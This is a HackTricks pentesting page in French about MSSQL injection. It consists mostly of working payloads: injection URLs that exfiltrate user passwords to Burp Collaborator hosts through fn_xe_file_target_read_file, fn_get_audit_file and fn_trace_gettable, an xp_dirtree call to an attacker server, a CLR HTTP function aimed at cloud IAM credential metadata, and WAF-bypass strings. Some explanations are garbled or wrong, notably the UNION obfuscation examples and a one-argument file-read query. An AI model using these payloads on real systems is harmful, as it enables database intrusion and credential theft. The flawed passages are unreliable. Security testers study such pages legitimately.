hacktricks/pentesting-web/sql-injection/mssql-injection.md
2023-06-03 13:10:46 +00:00

17 KiB

Injection MSSQL

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Énumération Active Directory

Il est possible de énumérer les utilisateurs de domaine via une injection SQL à l'intérieur d'un serveur MSSQL en utilisant les fonctions MSSQL suivantes :

  • SELECT DEFAULT_DOMAIN(): Obtenir le nom de domaine actuel.
  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): Si vous connaissez le nom de domaine (DOMAIN dans cet exemple), cette fonction renverra le SID de l'utilisateur Administrator au format hexadécimal. Cela ressemblera à 0x01050000000[...]0000f401, notez comment les 4 derniers octets sont le nombre 500 en format big endian, qui est l'ID commun de l'utilisateur administrateur.
    Cette fonction vous permettra de connaître l'ID du domaine (tous les octets sauf les 4 derniers).
  • SUSER_SNAME(0x01050000000[...]0000e803) : Cette fonction renverra le nom d'utilisateur de l'ID indiqué (le cas échéant), dans ce cas 0000e803 en big endian == 1000 (généralement c'est l'ID du premier utilisateur régulier créé). Ensuite, vous pouvez imaginer que vous pouvez forcer l'ID utilisateur de 1000 à 2000 et probablement obtenir tous les noms d'utilisateur des utilisateurs du domaine. Par exemple en utilisant une fonction comme celle-ci :
def get_sid(n):
	domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
	user = struct.pack('<I', int(n))
	user = user.hex()
	return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

Vecteurs alternatifs basés sur les erreurs

Les injections SQL basées sur les erreurs ressemblent généralement à des constructions telles que +AND+1=@@version-- et des variantes basées sur l'opérateur «OR». Les requêtes contenant de telles expressions sont généralement bloquées par les WAF. Pour contourner cela, concaténez une chaîne en utilisant le caractère %2b avec le résultat d'appels de fonction spécifiques qui déclenchent une erreur de conversion de type de données sur les données recherchées.

Voici quelques exemples de telles fonctions :

  • SUSER_NAME()
  • USER_NAME()
  • PERMISSIONS()
  • DB_NAME()
  • FILE_NAME()
  • TYPE_NAME()
  • COL_NAME()

Exemple d'utilisation de la fonction USER_NAME():

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

fn_xe_file_target_read_file

Description

fn_xe_file_target_read_file is a function in Microsoft SQL Server that reads the contents of a file from the file system. This function is used by the Extended Events feature to read the contents of an event file.

Impact

An attacker can use this function to read arbitrary files from the file system of the server where the MSSQL instance is running. This can lead to sensitive information disclosure, such as credentials, configuration files, and other sensitive data.

Exploitation

To exploit this vulnerability, an attacker needs to have the VIEW SERVER STATE permission. This permission is granted by default to members of the sysadmin and serveradmin roles.

The following query can be used to read the contents of a file:

SELECT fn_xe_file_target_read_file('C:\path\to\file')

Mitigation

To mitigate this vulnerability, restrict the VIEW SERVER STATE permission to only trusted users. Additionally, limit the file system permissions of the MSSQL service account to only the necessary files and directories.

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))

Permissions : Nécessite l'autorisation VIEW SERVER STATE sur le serveur.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

fn_get_audit_file est une fonction intégrée de Microsoft SQL Server qui permet de récupérer des informations d'audit. Cette fonction peut être utilisée pour extraire des données sensibles telles que des noms d'utilisateur, des adresses IP et des requêtes SQL. Les attaquants peuvent exploiter cette fonction pour extraire des informations confidentielles de la base de données. Il est important de s'assurer que les autorisations d'accès à cette fonction sont correctement configurées pour éviter toute fuite de données.

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))

Permissions: Nécessite l'autorisation CONTROL SERVER.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettable

La fonction fn_trace_gettable est une fonctionnalité de Microsoft SQL Server qui permet de récupérer les données de traçage stockées dans un fichier de trace. Cette fonction peut être utilisée pour extraire des informations sensibles telles que des noms d'utilisateur, des mots de passe et d'autres données confidentielles stockées dans les fichiers de trace. Les attaquants peuvent exploiter cette vulnérabilité en injectant du code malveillant dans les fichiers de trace pour récupérer des informations sensibles. Il est donc important de sécuriser les fichiers de trace en limitant l'accès aux utilisateurs autorisés et en supprimant les fichiers de trace obsolètes.

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))

Permissions: Nécessite l'autorisation CONTROL SERVER.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

Les méthodes les plus courantes pour effectuer un appel réseau que vous rencontrerez en utilisant MSSQL sont l'utilisation de la procédure stockée xp_dirtree, qui est curieusement non documentée par Microsoft, ce qui a conduit à sa documentation par d'autres personnes sur Internet. Cette méthode a été utilisée dans de multiples exemples d'exfiltration de données hors bande et de publications sur l'exploitation hors bande de SQL Injection sur Internet.

Essentiellement,

DECLARE @user varchar(100);
SELECT @user = (SELECT user);  
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');

Tout comme LOAD_FILE de MySQL, vous pouvez utiliser xp_dirtree pour effectuer une demande réseau vers uniquement le port TCP 445. Vous ne pouvez pas contrôler le numéro de port, mais vous pouvez lire des informations à partir de partages réseau.

PS: Cela ne fonctionne pas sur Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) exécuté sur un Windows Server 2016 Datacenter dans la configuration par défaut.

Il existe d'autres procédures stockées comme master..xp_fileexist ou xp_subdirs qui peuvent être utilisées pour des résultats similaires.

xp_cmdshell

Évidemment, vous pouvez également utiliser xp_cmdshell pour exécuter quelque chose qui déclenche un SSRF. Pour plus d'informations, lisez la section pertinente de la page :

{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} pentesting-mssql-microsoft-sql-server {% endcontent-ref %}

Fonction utilisateur définie MSSQL - SQLHttp

Il est assez simple d'écrire une UDF CLR (Fonction utilisateur définie par Common Language Runtime - code écrit avec l'un des langages .NET et compilé en tant que DLL) et de la charger dans MSSQL pour des fonctions personnalisées. Cependant, cela nécessite un accès dbo et peut ne pas fonctionner à moins que la connexion de l'application Web à la base de données soit en tant que sa ou un rôle d'administrateur.

Ce dépôt Github contient le projet Visual Studio et les instructions d'installation pour charger le binaire dans MSSQL en tant qu'assembly CLR et ensuite invoquer des requêtes GET HTTP depuis MSSQL.

Le code http.cs utilise la classe WebClient pour effectuer une requête GET et récupérer le contenu tel que spécifié.

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
    [Microsoft.SqlServer.Server.SqlFunction]
    public static SqlString http(SqlString url)
    {
        var wc = new WebClient();
        var html = wc.DownloadString(url.Value);
        return new SqlString (html);
    }
}

Dans les instructions d'installation, exécutez ce qui suit avant la requête CREATE ASSEMBLY pour ajouter le hachage SHA512 de l'assembly à la liste des assemblies de confiance sur le serveur (vous pouvez voir la liste en utilisant select * from sys.trusted_assemblies;)

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

Une fois que l'assemblage est ajouté et que la fonction est créée, nous pouvons exécuter ce qui suit pour effectuer nos requêtes HTTP.

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

Exploitation rapide: Récupérer une table entière en une seule requête

Il existe deux façons simples de récupérer l'intégralité du contenu d'une table en une seule requête - l'utilisation de la clause FOR XML ou FOR JSON. La clause FOR XML nécessite un mode spécifié tel que «raw», donc en termes de brièveté FOR JSON est plus performant.

La requête pour récupérer le schéma, les tables et les colonnes de la base de données actuelle:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto-- 

Les vecteurs basés sur les erreurs nécessitent un alias ou un nom, car la sortie des expressions sans l'un ou l'autre ne peut pas être formatée en JSON.

https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)-- 

Récupération de la requête en cours

La requête SQL en cours d'exécution peut être récupérée à partir de l'accès sys.dm_exec_requests et sys.dm_exec_sql_text:

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

Permissions: Si l'utilisateur dispose de l'autorisation VIEW SERVER STATE sur le serveur, il verra toutes les sessions en cours d'exécution sur l'instance de SQL Server ; sinon, il ne verra que la session en cours.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Petits trucs pour contourner les WAF

Caractères d'espacement non standard : %C2%85 ou %C2%A0 :

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null-- 

Notation scientifique (0e) et hexadécimale (0x) pour l'obfuscation de UNION :

Lorsque vous effectuez une injection SQL dans une requête qui utilise l'opérateur UNION, vous pouvez utiliser des notations scientifiques ou hexadécimales pour obfusquer le mot clé UNION et éviter ainsi la détection par les filtres de sécurité.

Par exemple, vous pouvez utiliser la notation scientifique 0e pour remplacer le mot clé UNION. Voici un exemple :

SELECT 'a' WHERE 1=0 UNION ALL SELECT 'b' WHERE 1=0

Peut être réécrit en utilisant la notation scientifique comme suit :

SELECT 'a' WHERE 1=0 UNION ALL SELECT 'b' WHERE 1=0;--0e0

De même, vous pouvez utiliser la notation hexadécimale 0x pour remplacer le mot clé UNION. Voici un exemple :

SELECT 'a' WHERE 1=0 UNION ALL SELECT 'b' WHERE 1=0

Peut être réécrit en utilisant la notation hexadécimale comme suit :

SELECT 'a' WHERE 1=0 UNION ALL SELECT 'b' WHERE 1=0;--0x0
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
 
https://vuln.app/getItem?id=0xunion+select+null,@@version,null-- 

Un point au lieu d'un espace entre FROM et le nom d'une colonne:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users-- 

\N séparateur entre SELECT et une colonne jetable:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users-- 

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥